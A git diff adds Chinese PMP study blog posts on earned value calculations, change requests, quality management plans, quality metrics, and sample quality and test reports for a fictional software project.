+项目的资金需求在某些情况下可能需要进行调整，例如项目范围变更、不可控的外部影响、突发事件或进度延误等。调整过程需按照变更控制流程进行： + +- **调整条件**：当项目需求或风险发生重大变化，导致原有资金需求不再适用时，可提出调整资金需求。 +- **审批流程**：由项目经理提出变更申请，并由干系人进行审批，必要时调整项目的资金需求基准。 diff --git a/_posts/2024-10-07-695-wpd.md b/_posts/2024-10-07-695-wpd.md new file mode 100644 index 0000000..322f731 --- /dev/null +++ b/_posts/2024-10-07-695-wpd.md @@ -0,0 +1,49 @@ +--- +layout: post +title: 工作绩效数据 +pid: 695 +tags: [pmp, 高项] +--- + +工作绩效数据（Work Performance Data） + +### **工作绩效数据（成本管理）** + +#### **1. 概述** + +工作绩效数据（Cost Performance Data，CPD）是指项目在执行过程中收集到的与项目预算相关的原始数据。它包括实际成本（Actual Cost，AC）、计划价值（Planned Value，PV）、已完成工作的挣值（Earned Value，EV）等关键指标，这些数据直接用于评估项目的成本表现。 + +#### **2. 成本相关工作绩效数据示例** + +| **项目阶段** | **计划值 (PV)** | **挣值 (EV)** | **实际成本 (AC)** | **成本偏差 (CV)** | **进度偏差 (SV)** | +| -------------- | --------------- | ------------- | ----------------- | ----------------- | ----------------- | +| 需求分析阶段 | 50,000 RMB | 48,000 RMB | 52,000 RMB | -4,000 RMB | -2,000 RMB | +| 系统设计阶段 | 100,000 RMB | 90,000 RMB | 110,000 RMB | -20,000 RMB | -10,000 RMB | +| 系统开发阶段 | 300,000 RMB | 280,000 RMB | 310,000 RMB | -30,000 RMB | -20,000 RMB | +| 系统测试阶段 | 150,000 RMB | 145,000 RMB | 155,000 RMB | -10,000 RMB | -5,000 RMB | +| 部署与上线阶段 | 80,000 RMB | 78,000 RMB | 85,000 RMB | -7,000 RMB | -2,000 RMB | +| **总计** | 680,000 RMB | 641,000 RMB | 712,000 RMB | -71,000 RMB | -39,000 RMB | + +#### **3. 数据解释** + +- **计划值 (PV)**：到目前为止计划完成的工作量所对应的预算，即项目在当前阶段原本应该花费的金额。 +- **挣值 (EV)**：实际完成的工作量所对应的预算，即项目团队在当前阶段实际完成的工作所创造的价值。 +- **实际成本 (AC)**：项目实施过程中实际发生的成本，包括人力、设备、物料等各项支出。 +- **成本偏差 (CV)**：反映了成本的执行情况，通过公式计算： CV=EV−ACCV = EV - ACCV=EV−AC **CV < 0** 表示超支，**CV > 0** 表示节约成本。 +- **进度偏差 (SV)**：反映了项目的进度执行情况，通过公式计算： SV=EV−PVSV = EV - PVSV=EV−PV **SV < 0** 表示进度滞后，**SV > 0** 表示进度提前。 + +#### **4. 各阶段工作绩效数据分析** + +- **需求分析阶段**：实际成本为52,000 RMB，超出预算2,000 RMB，挣值低于计划值，项目略有超支且进度滞后。 +- **系统设计阶段**：挣值为90,000 RMB，实际成本为110,000 RMB，显示出较大的成本超支（20,000 RMB），进度也落后于计划（-10,000 RMB）。 +- **系统开发阶段**：实际成本为310,000 RMB，超出预算30,000 RMB，显示出系统开发阶段存在较为严重的超支现象，同时进度落后20,000 RMB。 +- **系统测试阶段**：测试阶段表现出较好的控制，但仍有小幅度的超支和进度滞后。 +- **部署与上线阶段**：虽然进度稍有滞后，但整体表现接近预期。 + +#### **5. 总体分析** + +从整体来看，项目总成本超支71,000 RMB，进度滞后39,000 RMB。工作绩效数据表明，各个项目阶段存在不同程度的成本超支和进度滞后，项目团队需采取进一步措施来纠正这些偏差，尤其是控制系统开发阶段的成本和进度。以下是建议的改进措施： + +- **成本控制措施**：评估项目各阶段的实际支出，找出超支原因，优化资源分配。 +- **进度优化策略**：重新审视关键路径，调整人力和资源投入，以加快进度赶上计划。 +- **风险管理**：为后续阶段制定应对措施，以防止进一步的超支和进度延误。 diff --git a/_posts/2024-10-07-696-wpi.md b/_posts/2024-10-07-696-wpi.md new file mode 100644 index 0000000..3738b5b --- /dev/null +++ b/_posts/2024-10-07-696-wpi.md @@ -0,0 +1,51 @@ +--- +layout: post +title: 工作绩效信息 +pid: 696 +tags: [pmp, 高项] +--- + +工作绩效信息（Work Performance Information） + +### **工作绩效信息示例：成本管理** + +#### 1. **项目整体成本分析** + +- **项目当前预算总额**：950,000 RMB +- **项目当前实际支出**：845,000 RMB +- **预算偏差 (BAC vs. AC)**：当前支出略低于预算，节省了约105,000 RMB，预算执行良好。 + +#### 2. **关键阶段的成本表现** + +- **需求分析阶段**：此阶段的实际支出为75,000 RMB，比预算少支出了5,000 RMB。需求分析工作已经全部完成，成本控制良好。 +- **系统设计阶段**：实际成本为130,000 RMB，超出预算10,000 RMB。主要原因是由于设计变更，导致额外的设计工作，成本增加了8.33%。 +- **软件开发阶段**：当前进度完成90%，支出为480,000 RMB，比预算少20,000 RMB。尽管开发进展顺利，但开发过程中的某些优化措施使得成本略低于预算。 +- **测试阶段**：测试阶段实际支出为160,000 RMB，超支55,000 RMB，超支比例达到了34.38%。这是由于在测试中发现了大量潜在问题，导致测试过程延长和成本增加。 + +#### 3. **进度与成本的综合分析** + +- **软件开发阶段**：尽管软件开发成本控制较好，但由于开发完成度低于计划，开发阶段有10%的进度偏差，可能会影响项目后续进程。 +- **测试阶段**：测试阶段进度滞后30%，并且由于问题频发，导致成本大幅超支。需要额外投入资源来加速测试进度，同时优化测试流程，以减少后续支出。 +- **系统设计阶段**：虽然设计阶段超支，但在之后的开发中已实现部分节省，整体设计与开发阶段的成本偏差得到了部分弥补。 + +#### 4. **项目完成预测（EAC, ETC分析）** + +- **项目完工估算 (Estimate at Completion, EAC)**：根据当前成本表现，预计项目完工时的总支出为： + + EAC=AC+(BAC−EV)EAC = AC + \left( BAC - EV \right)EAC=AC+(BAC−EV) + + EAC=845,000+(950,000−755,000)=1,040,000RMBEAC = 845,000 + \left( 950,000 - 755,000 \right) = 1,040,000 RMBEAC=845,000+(950,000−755,000)=1,040,000RMB + + 预计完工总成本为1,040,000 RMB，超出最初预算950,000 RMB，预计超支90,000 RMB。 + +- **剩余工作估算 (Estimate to Complete, ETC)**：预计剩余工作所需资金为： + + ETC=EAC−AC=1,040,000−845,000=195,000RMBETC = EAC - AC = 1,040,000 - 845,000 = 195,000 RMBETC=EAC−AC=1,040,000−845,000=195,000RMB + + 需额外准备195,000 RMB以完成后续工作。 + +#### 5. **成本偏差分析总结** + +- **当前偏差**：项目当前已超支90,000 RMB，主要集中在测试阶段的超支。 +- **预测超支原因**：如果问题无法迅速解决，测试阶段的延期与超支将持续，影响整体项目完工成本。 +- **解决方案建议**：为了降低整体项目成本，建议优化测试流程，减少测试中的返工和重复问题。此外，可能需要与需求方进一步沟通，明确需求边界，减少未来的变更请求对成本的影响。 diff --git a/_posts/2024-10-07-697-cf.md b/_posts/2024-10-07-697-cf.md new file mode 100644 index 0000000..de066a7 --- /dev/null +++ b/_posts/2024-10-07-697-cf.md @@ -0,0 +1,88 @@ +--- +layout: post +title: 成本预测 +pid: 697 +tags: [pmp, 高项] +--- + +**成本预测**：英文术语为“Cost Forecast”或“forecasting of cost”。 + +### **成本预测示例** + +#### 1. **项目背景** + +- **项目名称**：新系统开发项目 +- **项目预算总额 (Budget at Completion, BAC)**：950,000 RMB +- **当前实际成本 (Actual Cost, AC)**：845,000 RMB +- **完成的工作量 (Earned Value, EV)**：755,000 RMB +- **剩余预算**：105,000 RMB + +#### 2. **预测完工估算 (Estimate at Completion, EAC)** + +预测完工估算基于项目当前的实际成本和完成的工作量，来估算项目完工时的总支出。使用的公式如下： + +EAC=AC+(BAC−EV)EAC = AC + \left( BAC - EV \right)EAC=AC+(BAC−EV) + +其中： + +- **AC (Actual Cost)**：当前已发生的实际成本 +- **BAC (Budget at Completion)**：项目的总预算 +- **EV (Earned Value)**：当前完成的工作量所对应的预算值 + +套入项目数据： + +EAC=845,000+(950,000−755,000)=845,000+195,000=1,040,000RMBEAC = 845,000 + \left( 950,000 - 755,000 \right) = 845,000 + 195,000 = 1,040,000 RMBEAC=845,000+(950,000−755,000)=845,000+195,000=1,040,000RMB + +预计项目完工时的总成本为 **1,040,000 RMB**，超出预算 **90,000 RMB**。 + +#### 3. **剩余工作估算 (Estimate to Complete, ETC)** + +剩余工作估算是对项目从当前阶段到完工所需资金的预测。公式为： + +ETC=EAC−ACETC = EAC - ACETC=EAC−AC + +套入项目数据： + +ETC=1,040,000−845,000=195,000RMBETC = 1,040,000 - 845,000 = 195,000 RMBETC=1,040,000−845,000=195,000RMB + +预计项目完工前还需要 **195,000 RMB** 以完成剩余工作。 + +#### 4. **完工偏差 (Variance at Completion, VAC)** + +完工偏差用于衡量项目预计完工成本与最初预算的差异，公式为： + +VAC=BAC−EACVAC = BAC - EACVAC=BAC−EAC + +套入项目数据： + +VAC=950,000−1,040,000=−90,000RMBVAC = 950,000 - 1,040,000 = -90,000 RMBVAC=950,000−1,040,000=−90,000RMB + +项目完工时预计将超支 **90,000 RMB**。 + +#### 5. **成本绩效指数 (Cost Performance Index, CPI)** + +成本绩效指数用于评估项目的成本效率。其公式为： + +CPI=EVACCPI = \frac{EV}{AC}CPI=ACEV + +套入项目数据： + +CPI=755,000845,000=0.89CPI = \frac{755,000}{845,000} = 0.89CPI=845,000755,000=0.89 + +CPI 为 **0.89**，表示项目当前的每花费1 RMB，获得了0.89 RMB的工作量。项目的成本效率较低，超支风险较大。 + +#### 6. **未来成本的预测模型** + +如果当前的成本绩效指数保持不变，项目完工时的成本预测将持续超支。假设项目后续能通过优化流程或减少返工提高CPI至 **1.0**，则 EAC 将趋近于 BAC，未来的成本节省空间也会增加。因此，项目管理团队可以考虑以下措施： + +- **优化测试流程**，减少返工和问题的重复修复，以节省测试阶段的成本。 +- **减少设计变更**，通过明确需求减少后续变更对成本的影响。 + +#### 7. **风险与应对措施** + +- **风险 1**：测试阶段的超支与延期。由于当前测试工作中发现了许多问题，导致测试周期延长和成本超支。应对措施：投入更多人力资源，优化测试流程，减少返工。 +- **风险 2**：开发阶段的进度滞后。开发阶段的进度滞后10%，若不能及时调整，可能导致后续阶段成本增加。应对措施：调整开发进度，通过增加人力或优化代码质量来提高开发速度。 + +------ + +**总结**： 基于当前的成本表现，项目预计将超支 **90,000 RMB**。为了控制成本，项目管理团队需要采取措施优化测试和开发流程，减少返工和不必要的变更。通过成本预测，项目团队能够提前发现潜在的预算问题并采取纠正措施，确保项目在合理的成本范围内完成。 diff --git a/_posts/2024-10-07-698-cr.md b/_posts/2024-10-07-698-cr.md new file mode 100644 index 0000000..7a72b89 --- /dev/null +++ b/_posts/2024-10-07-698-cr.md @@ -0,0 +1,84 @@ +--- +layout: post +title: 变更请求 +pid: 698 +tags: [pmp, 高项] +--- + +**变更请求**：英文术语为“Change Request”，简称“CR”。 + +### **变更请求示例** + +#### 1. **变更请求编号**: CR-2024-07 + +#### 2. **变更标题**: 成本超支导致项目资金调整请求 + +#### 3. **变更提出日期**: 2024年10月5日 + +#### 4. **变更提出人**: 项目经理 - 王伟 + +#### 5. **变更背景和原因** + +在项目执行过程中，测试阶段的进度延误和开发阶段的反复修改导致当前的项目成本超支。截至目前，项目实际成本（AC）已经达到 845,000 RMB，而原预算仅为 950,000 RMB。项目预计完工时的总成本（EAC）为 1,040,000 RMB，超出预算 **90,000 RMB**。 + +本变更请求旨在通过调整项目预算，以确保项目顺利完成，并且不影响最终交付的质量和进度。具体超支主要出现在测试和开发两个阶段，需要额外的资金来支持项目的收尾工作。 + +#### 6. **变更详细描述** + +本次变更将主要体现在以下方面： + +- **预算增加**：请求批准将项目总预算从 950,000 RMB 增加至 **1,040,000 RMB**，以覆盖开发和测试阶段的超支。 +- **资源分配**：增加人力资源投入，特别是在测试阶段，将额外雇佣3名资深测试工程师，预计每人每月花费 15,000 RMB，持续 2 个月，总额 90,000 RMB。 +- **开发优化**：投入更多资源用于软件开发的代码优化和错误修复，减少未来的返工风险。 + +#### 7. **变更影响分析** + +**对范围的影响**： + +- 变更不会影响项目的功能和范围，所有原计划的交付成果保持不变。 + +**对进度的影响**： + +- 由于变更请求将提供额外的测试和开发资源，项目进度将按照原计划于 2025年1月5日完成，无需延长时间。 + +**对成本的影响**： + +- 预计成本增加 90,000 RMB，将项目总预算增加至 1,040,000 RMB。 + +**对质量的影响**： + +- 通过增加测试和开发人员，保证交付成果的质量，并减少返工的风险。 + +**对风险的影响**： + +- 此变更可降低项目延期或交付质量不达标的风险。 +- 但可能会引入新的风险，如新增人员的管理成本和时间协调问题。 + +#### 8. **变更优先级**：高 + +#### 9. **变更审批人**： + +- **审批人**：项目发起人 - 李明 +- **审批日期**：2024年10月7日 + +#### 10. **变更实施计划**： + +- **实施日期**：2024年10月8日 +- **负责部门**：测试部门和开发部门 +- **监督人**：项目经理 - 王伟 + +#### 11. **变更状态**： + +- 待批准 + +------ + +### **变更影响的总结** + +- **预算增加**：项目总预算从 950,000 RMB 调整为 1,040,000 RMB。 +- **进度调整**：项目预计完工时间不变，仍为 2025年1月5日。 +- **人员配置增加**：新增3名测试工程师，帮助加快测试进度和提高质量。 + +------ + +**总结**： 本次变更请求是为了解决项目的超支问题，并确保项目按照原定的质量和进度交付。学生通过这个示例可以清楚地了解变更请求如何提出、如何分析影响，并最终如何得到审批和执行。 diff --git a/_posts/2024-10-08-699-qmp.md b/_posts/2024-10-08-699-qmp.md new file mode 100644 index 0000000..ee35d0d --- /dev/null +++ b/_posts/2024-10-08-699-qmp.md @@ -0,0 +1,92 @@ +--- +layout: post +title: 质量管理计划 +pid: 699 +tags: [pmp, 高项] +--- + +质量管理计划 - Quality Management Plan + +### **质量管理计划** + +#### **1. 目标和目的** + +本质量管理计划的目的是确保项目的交付成果满足或超出客户和其他关键干系人的需求和期望。通过定义明确的质量标准、持续的监控和改进流程，确保项目结果符合规定的质量要求，并保证项目的成功交付。 + +**项目质量目标**包括： + +- 交付的系统满足功能和性能要求。 +- 项目产品的缺陷率低于 1%。 +- 产品的用户满意度评分不低于 90 分（满分 100 分）。 +- 系统的运行时间不低于 99.95% 的服务可用性。 + +#### **2. 质量标准** + +项目质量标准基于以下几个方面： + +- **功能合规性**：产品功能符合需求文档和设计规范要求。 +- **性能标准**：系统响应时间不得超过 2 秒，吞吐量符合每秒 1,000 请求的要求。 +- **安全性**：系统必须符合 ISO/IEC 27001 信息安全标准。 +- **用户体验**：用户界面友好、易用，符合 W3C 的可用性标准。 +- **代码质量**：遵循行业最佳实践，如代码审查、自动化测试，代码覆盖率要求不低于 90%。 + +#### **3. 角色与职责** + +- **项目经理**：负责确保质量管理计划的实施，确保质量标准在项目中得到执行和监督。 +- **质量保证团队**：负责制定质量审查和测试计划，执行质量评估和改进工作，报告质量问题并提出改进建议。 +- **开发团队**：负责遵循质量标准进行软件设计和开发，并进行初步的自我测试。 +- **测试团队**：负责功能、性能、安全性等方面的质量测试，确保产品在不同环境下都能符合质量要求。 + +#### **4. 质量保证活动** + +- **需求评审**：确保所有功能需求和非功能需求清晰、完整并且可测量。 +- **设计评审**：定期对系统架构和模块设计进行审查，确保设计符合系统需求和质量标准。 +- **代码审查**：开发人员之间进行相互代码评审，确保代码符合编码标准，且没有潜在的缺陷或问题。 +- **单元测试**：对所有代码模块进行自动化单元测试，确保模块功能正常，代码覆盖率达到设定标准。 +- **集成测试**：确保各个模块能够无缝集成，功能、性能和安全性满足项目需求。 +- **用户验收测试（UAT）**：邀请用户进行测试，确保产品的最终交付符合客户的实际使用需求。 + +#### **5. 质量控制活动** + +- **质量审计**：定期进行项目质量审计，评估项目执行过程是否符合既定的质量标准，找出偏差并及时修正。 +- **缺陷管理**：通过缺陷跟踪系统记录和管理项目中的所有缺陷，确保所有缺陷及时被发现、分析和修复。 +- **统计过程控制（SPC）**：应用统计工具来分析项目中可能影响质量的过程变化趋势，采取措施保证过程稳定性。 + +#### **6. 质量测量指标** + +质量管理计划中的测量指标用于评估项目的整体质量水平。关键测量指标包括： + +- **缺陷密度**：每千行代码中的缺陷数量，目标为 ≤ 1.0。 +- **测试覆盖率**：自动化测试的覆盖率应达到 90% 以上。 +- **变更请求通过率**：表示提交的变更请求有多少得到批准，目标 ≥ 95%。 +- **用户反馈评分**：通过用户满意度调查来衡量产品的质量，目标评分 ≥ 90 分。 + +#### **7. 质量改进措施** + +- **定期反馈循环**：通过定期的质量审查和项目进展会议收集反馈，对项目流程、质量管理活动和最终产品进行持续改进。 +- **根本原因分析（RCA）**：对出现的重大质量问题进行深入的根本原因分析，提出解决方案，防止类似问题再次发生。 +- **改进工具和方法**：根据质量问题的实际情况，采用先进的质量改进工具（如鱼骨图、Pareto 分析等）来优化质量管理流程。 + +#### **8. 质量风险管理** + +- **质量风险识别**：定期分析潜在的质量风险，如需求不明确、设计错误、技术实现问题等。 +- **风险评估**：对识别的风险进行定量或定性评估，判断其对项目质量的影响。 +- **风险缓解措施**：针对高风险项，制定具体的预防措施和应急计划，确保风险发生时能及时处理，减小对项目质量的影响。 + +#### **9. 质量工具** + +在项目中将使用以下工具来支持质量管理工作： + +- **Jira**：用于缺陷跟踪和问题管理。 +- **SonarQube**：用于代码质量分析和持续改进。 +- **Jenkins**：用于持续集成和自动化测试。 +- **GitHub Actions**：用于代码审查和版本控制。 + +#### **10. 质量报告** + +项目经理将定期生成质量报告并分发给关键干系人。质量报告的内容包括： + +- 当前的质量状态。 +- 已发现的主要质量问题和改进建议。 +- 质量控制措施的执行情况。 +- 项目质量目标的完成情况。 diff --git a/_posts/2024-10-08-700-qm.md b/_posts/2024-10-08-700-qm.md new file mode 100644 index 0000000..7d28ede --- /dev/null +++ b/_posts/2024-10-08-700-qm.md @@ -0,0 +1,80 @@ +--- +layout: post +title: 质量测量指标 +pid: 700 +tags: [pmp, 高项] +--- + +质量测量指标 - Quality Metrics + +### **质量测量指标** + +#### **1. 缺陷密度** + +- **定义**：每千行代码（KLOC）中发现的缺陷数量。 +- **目标**：≤ 1.0 缺陷/千行代码。 +- **说明**：缺陷密度可以反映代码的整体质量。较低的缺陷密度意味着代码质量较高，缺陷较少。 +- **计算方法**：缺陷数量 / 代码行数 (KLOC)。 + +#### **2. 测试覆盖率** + +- **定义**：自动化测试覆盖的代码行数占总代码行数的百分比。 +- **目标**：≥ 90%。 +- **说明**：高覆盖率表示测试覆盖的代码范围广，能够发现大多数潜在的功能性缺陷。 +- **计算方法**：已测试的代码行数 / 总代码行数 × 100%。 + +#### **3. 用户验收测试 (UAT) 通过率** + +- **定义**：用户验收测试阶段通过的测试用例数量占总测试用例数量的百分比。 +- **目标**：≥ 95%。 +- **说明**：用户验收测试通过率反映产品能否满足客户的需求和期望。较高的通过率表示产品基本符合需求和功能规范。 +- **计算方法**：通过的测试用例数量 / 总测试用例数量 × 100%。 + +#### **4. 缺陷修复时间** + +- **定义**：从缺陷被报告到修复完成并通过测试的平均时间。 +- **目标**：≤ 3 天。 +- **说明**：缺陷修复时间表示问题的解决效率，较短的修复时间有助于提高项目的整体开发效率和质量。 +- **计算方法**：所有缺陷的修复时间总和 / 缺陷总数量。 + +#### **5. 缺陷再发现率** + +- **定义**：修复后再次出现相同缺陷的比例。 +- **目标**：≤ 5%。 +- **说明**：再发现率高意味着修复的有效性不足，可能是修复方案不彻底或测试不充分。 +- **计算方法**：再发现的缺陷数量 / 缺陷总数量 × 100%。 + +#### **6. 需求变更率** + +- **定义**：项目执行过程中发生的需求变更数量占初始需求数量的百分比。 +- **目标**：≤ 10%。 +- **说明**：需求变更率过高可能导致项目范围膨胀，影响项目进度和质量。因此，低需求变更率表明需求稳定、前期定义较为清晰。 +- **计算方法**：需求变更数量 / 初始需求数量 × 100%。 + +#### **7. 代码评审通过率** + +- **定义**：经过代码评审后，无需修改的代码占提交代码总量的百分比。 +- **目标**：≥ 85%。 +- **说明**：代码评审通过率反映了开发人员的代码质量和遵循编码规范的情况，较高的通过率意味着代码质量较高。 +- **计算方法**：通过代码评审的代码数量 / 总提交代码数量 × 100%。 + +#### **8. 性能测试合格率** + +- **定义**：性能测试中通过的测试用例数量占总性能测试用例数量的百分比。 +- **目标**：≥ 95%。 +- **说明**：性能测试合格率衡量系统在负载下的响应能力、稳定性等，较高的通过率表示系统能满足性能需求。 +- **计算方法**：通过的性能测试用例数量 / 总性能测试用例数量 × 100%。 + +#### **9. 服务可用性** + +- **定义**：系统或服务在规定时间段内的正常运行时间占总时间的百分比。 +- **目标**：≥ 99.95%。 +- **说明**：可用性是系统稳定性的重要指标，较高的可用性意味着系统故障时间少，服务可靠性高。 +- **计算方法**：系统正常运行时间 / 总时间 × 100%。 + +#### **10. 用户满意度评分** + +- **定义**：从用户反馈或满意度调查中获得的平均评分，满分为 100 分。 +- **目标**：≥ 90 分。 +- **说明**：用户满意度反映了用户对产品的整体体验，包括功能、性能、可用性等方面。 +- **计算方法**：所有用户评分的总和 / 参与评分的用户数量。 diff --git a/_posts/2024-10-08-701-qr.md b/_posts/2024-10-08-701-qr.md new file mode 100644 index 0000000..05a091a --- /dev/null +++ b/_posts/2024-10-08-701-qr.md @@ -0,0 +1,83 @@ +--- +layout: post +title: 质量报告 +pid: 701 +tags: [pmp, 高项] +--- + +质量报告 - Quality Report + +### **质量报告** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **报告日期**：2024年10月5日 + +#### **报告周期**：2024年9月1日 - 2024年9月30日 + +#### **报告编制人**：质量保证经理 李明 + +------ + +### **1. 质量目标概述** + +项目的总体质量目标包括： + +- 确保代码缺陷密度低于 1.0 缺陷/千行代码。 +- 确保用户验收测试通过率达到 95% 以上。 +- 确保测试覆盖率达到 90% 以上。 +- 保证缺陷修复时间在 3 天内完成。 + +------ + +### **2. 质量测量指标现状** + +根据本周期内的质量测量，项目的关键质量指标状态如下： + +| 指标名称 | 目标值 | 实际值 | 状态 | +| ------------------ | ------------------- | ----------------- | -------- | +| 缺陷密度 | ≤ 1.0 缺陷/千行代码 | 1.2 缺陷/千行代码 | **偏离** | +| 测试覆盖率 | ≥ 90% | 92% | 达标 | +| 用户验收测试通过率 | ≥ 95% | 97% | 达标 | +| 缺陷修复时间 | ≤ 3 天 | 2.5 天 | 达标 | +| 性能测试合格率 | ≥ 95% | 91% | **偏离** | +| 需求变更率 | ≤ 10% | 8% | 达标 | +| 服务可用性 | ≥ 99.95% | 99.90% | **偏离** | +| 用户满意度评分 | ≥ 90 分 | 88 分 | **偏离** | + +------ + +### **3. 质量问题分析** + +1. **缺陷密度偏高**：本周期内，缺陷密度达到了 1.2 缺陷/千行代码，超过了设定的目标值。这表明代码中存在较多的潜在问题，特别是在新开发的模块中发现了若干功能性缺陷。 +2. **性能测试合格率不足**：性能测试合格率为 91%，低于目标值 95%。该问题主要集中在系统处理大量并发请求时，响应时间延迟较大，需优化服务器负载处理能力。 +3. **服务可用性偏低**：服务可用性为 99.90%，略低于目标 99.95%。此次偏离主要是由于 9 月 15 日系统维护时出现了较长时间的宕机，影响了整体可用性。 +4. **用户满意度稍低**：用户满意度评分为 88 分，低于目标值 90 分。用户反馈系统的用户界面不够友好，部分功能使用较为复杂。 + +------ + +### **4. 建议的改进措施** + +1. **提升代码质量**：建议加强代码评审，增加单元测试和集成测试的覆盖范围，特别是针对问题较多的模块进行全面的回归测试，以降低缺陷密度。 +2. **优化性能测试**：需优化数据库查询和服务器端的处理逻辑，以提高系统在高负载情况下的响应能力。建议在下个迭代中增加性能测试的频率，重点关注并发处理能力。 +3. **提高系统可用性**：建议在系统维护时加强风险评估，提前预判可能出现的宕机问题，并设置应急预案以减少宕机时间。同时，考虑增加服务器冗余和自动化运维措施。 +4. **改善用户界面设计**：建议邀请一组典型用户参与系统使用测试，收集用户体验反馈，优化用户界面和流程设计，提高系统的易用性，以提升用户满意度。 + +------ + +### **5. 质量合格与偏差总结** + +在本周期内，项目的总体质量状况良好，大部分关键指标达标。然而，部分指标如缺陷密度、性能测试合格率和服务可用性有所偏离。为了确保下一阶段的质量达标，项目组将重点改善上述偏离问题，采取有效措施保障项目的质量目标。 + +------ + +### **6. 后续质量监控计划** + +- 加强开发团队的代码审查和测试，提升缺陷预防能力。 +- 增加系统压力测试和负载均衡能力的验证，优化性能瓶颈。 +- 定期与用户沟通，确保系统界面和功能满足用户需求，提升用户满意度。 +- 强化项目全生命周期的质量监控和管理。 + +------ + +通过本报告，项目管理团队可以明确当前的质量状况，理解现有问题及其原因，并且为后续的项目进展提供改进方向。 diff --git a/_posts/2024-10-08-702-ted.md b/_posts/2024-10-08-702-ted.md new file mode 100644 index 0000000..f74c98e --- /dev/null +++ b/_posts/2024-10-08-702-ted.md @@ -0,0 +1,136 @@ +--- +layout: post +title: 测试与评估文件 +pid: 702 +tags: [pmp, 高项] +--- + +测试与评估文件 - Test and Evaluation Documentation + +### **测试与评估文件** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **测试与评估日期**：2024年10月5日 + +#### **报告编制人**：测试经理 王强 + +------ + +### **1. 测试概述** + +测试是项目质量管理中的重要环节，旨在通过各种测试类型验证系统的功能、性能、安全性以及用户体验，以确保项目达到预期的质量目标。本次测试与评估文件覆盖以下测试类型： + +- 功能测试 +- 性能测试 +- 安全测试 +- 用户体验测试 + +------ + +### **2. 测试计划** + +#### **2.1 测试范围** + +本次测试包括项目的所有核心模块，重点关注以下领域： + +- 用户登录和权限管理模块 +- 数据处理和分析模块 +- 交易系统和支付模块 +- 数据库查询和存储效率 + +#### **2.2 测试工具** + +使用的测试工具包括： + +- 功能测试工具：Selenium、JUnit +- 性能测试工具：JMeter +- 安全测试工具：OWASP ZAP +- 用户体验测试工具：UserTesting + +#### **2.3 测试环境** + +测试环境为模拟的生产环境，采用与实际生产环境相同的硬件配置和网络条件，确保测试结果的真实性和可靠性。 + +#### **2.4 测试周期** + +- 功能测试：2024年9月20日 - 2024年9月25日 +- 性能测试：2024年9月26日 - 2024年9月28日 +- 安全测试：2024年9月29日 - 2024年9月30日 +- 用户体验测试：2024年9月27日 - 2024年9月29日 + +------ + +### **3. 测试结果** + +#### **3.1 功能测试结果** + +| 模块名称 | 测试项 | 结果 | 问题描述 | 严重性 | 状态 | +| ---------------------- | ---------------------------- | ------ | ------------------ | ------ | ------ | +| 用户登录和权限管理模块 | 登录认证、多角色权限分配 | 通过 | 无 | - | 已完成 | +| 数据处理和分析模块 | 数据导入、数据校验、数据导出 | 通过 | 无 | - | 已完成 | +| 交易系统和支付模块 | 交易流程测试、支付接口验证 | 未通过 | 支付接口超时 | 高 | 修复中 | +| 数据库查询和存储效率 | 高并发下的数据查询和存储效率 | 未通过 | 数据库响应时间过长 | 中 | 调整中 | + +#### **3.2 性能测试结果** + +| 性能测试项目 | 目标值 | 实际值 | 结果 | 建议 | +| ---------------- | --------------- | ------------ | ------ | -------------- | +| 系统并发用户数量 | ≥ 1000 并发用户 | 950 并发用户 | 未通过 | 优化服务器配置 | +| 系统响应时间 | ≤ 2 秒 | 1.8 秒 | 通过 | - | +| 数据处理吞吐量 | ≥ 500 MB/秒 | 520 MB/秒 | 通过 | - | + +#### **3.3 安全测试结果** + +| 安全测试项目 | 测试项 | 结果 | 问题描述 | 严重性 | 状态 | +| ---------------- | -------------------------- | ------ | ---------------------- | ------ | ------ | +| 系统漏洞扫描 | SQL注入、XSS攻击检测 | 通过 | 无 | - | 已完成 | +| 用户权限漏洞检测 | 权限绕过、恶意输入检测 | 通过 | 无 | - | 已完成 | +| 数据加密验证 | 数据传输加密与存储加密验证 | 未通过 | 数据存储加密未正确应用 | 高 | 修复中 | + +#### **3.4 用户体验测试结果** + +| 测试项 | 用户反馈 | 满意度评分 | 改进建议 | +| -------------- | ---------------------------- | ---------- | ------------------------------ | +| 系统界面美观度 | 美观但有点复杂 | 80/100 | 简化菜单结构，优化布局 | +| 功能易用性 | 使用逻辑复杂，文档说明不清晰 | 75/100 | 提供详细文档说明，增加用户引导 | +| 交互速度 | 页面切换较慢 | 70/100 | 优化前端代码，提高页面加载速度 | + +------ + +### **4. 测试评估与分析** + +#### **4.1 功能测试评估** + +大部分功能模块测试通过，但在支付接口和数据库查询模块中发现了较为严重的问题。支付接口超时问题可能影响交易流程的顺畅，需要尽快修复。数据库响应时间过长的问题，虽然影响较小，但仍需优化以提高系统整体性能。 + +#### **4.2 性能测试评估** + +并发用户数量未达到预期目标，表明系统在高负载情况下的处理能力不足。建议增加服务器负载能力，或者采用更加优化的缓存机制来分散负载。 + +#### **4.3 安全测试评估** + +大多数安全测试项通过，但数据加密的实现存在问题，特别是在数据存储的加密上。建议开发团队加强加密策略的实施，并在测试环境中增加加密验证的测试案例。 + +#### **4.4 用户体验评估** + +用户体验的测试结果显示，用户对系统界面和使用体验有较高的期望，当前界面设计较复杂，影响了用户满意度。需要优化界面布局，简化操作流程，并提供更详细的用户说明文档。 + +------ + +### **5. 建议改进措施** + +1. **功能改进**：支付模块和数据库查询功能需要尽快优化，尤其是支付接口的超时问题，建议在系统下一版本中优先修复。 +2. **性能提升**：提升系统服务器的处理能力，或者采用分布式架构来提升并发处理性能，同时进一步优化查询和存储的算法。 +3. **安全强化**：加强数据加密技术的使用，特别是在数据库层面，确保数据存储和传输的全方位加密。 +4. **用户体验优化**：优化用户界面设计，提升用户操作的直观性，简化操作步骤并增加详细的引导说明。 + +------ + +### **6. 测试结果总结** + +本次测试反映了项目在功能、性能、安全性等多个方面的表现。尽管大部分测试项目通过，但仍有几个关键问题需要在后续版本中解决。项目组需根据此次测试与评估的反馈，优化系统功能、提升性能，并改善用户体验，确保项目顺利按时交付。 + +------ + +**测试与评估文件**是项目质量管理中的重要部分，通过测试数据和评估分析，能够帮助项目团队了解项目的质量状况，确保项目按计划进行，并识别潜在的改进方向。 diff --git a/_posts/2024-10-08-703-cr.md b/_posts/2024-10-08-703-cr.md new file mode 100644 index 0000000..f404c90 --- /dev/null +++ b/_posts/2024-10-08-703-cr.md @@ -0,0 +1,118 @@ +--- +layout: post +title: 变更请求 +pid: 703 +tags: [pmp, 